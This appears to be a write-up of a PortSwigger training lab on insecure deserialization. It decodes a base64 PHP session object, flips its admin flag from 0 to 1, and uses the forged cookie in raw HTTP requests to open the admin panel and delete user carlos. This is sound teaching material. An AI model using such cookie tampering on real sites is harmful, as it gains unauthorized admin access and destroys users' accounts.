Port Swigger Modifying serialized objects

Modifying serialized objects

Solution

Login to website as user: wiener

Found Serialized object: Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d
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POST /login HTTP/2
Host: 0a9400ca040d922e80c40d2300f20018.web-security-academy.net
Cookie: session=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0a9400ca040d922e80c40d2300f20018.web-security-academy.net
Referer: https://0a9400ca040d922e80c40d2300f20018.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=wiener&password=peter
---
GET /my-account?id=wiener HTTP/2
Host: 0a9400ca040d922e80c40d2300f20018.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30%3d
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a9400ca040d922e80c40d2300f20018.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Check serialized object - chef

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9-_',true,false)&input=VHpvME9pSlZjMlZ5SWpveU9udHpPamc2SW5WelpYSnVZVzFsSWp0ek9qWTZJbmRwWlc1bGNpSTdjem8xT2lKaFpHMXBiaUk3WWpvd08zMA
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O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

Edit object admin = 1

Replace from 0 to 1
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
---
Base64
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=

Sent request with a new cookie session

GET /my-account?id=wiener HTTP/2
Host: 0a9400ca040d922e80c40d2300f20018.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3d
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a9400ca040d922e80c40d2300f20018.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Open section: "Admin panel"

Sent request with correct session cookie: https://0a9400ca040d922e80c40d2300f20018.web-security-academy.net/admin

Correct session cookie: Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=
---
GET /admin HTTP/2
Host: 0a9400ca040d922e80c40d2300f20018.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3d
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a9400ca040d922e80c40d2300f20018.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Delete user: carlos

GET /admin/delete?username=carlos HTTP/2
Host: 0a9400ca040d922e80c40d2300f20018.web-security-academy.net
Cookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3d
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a9400ca040d922e80c40d2300f20018.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

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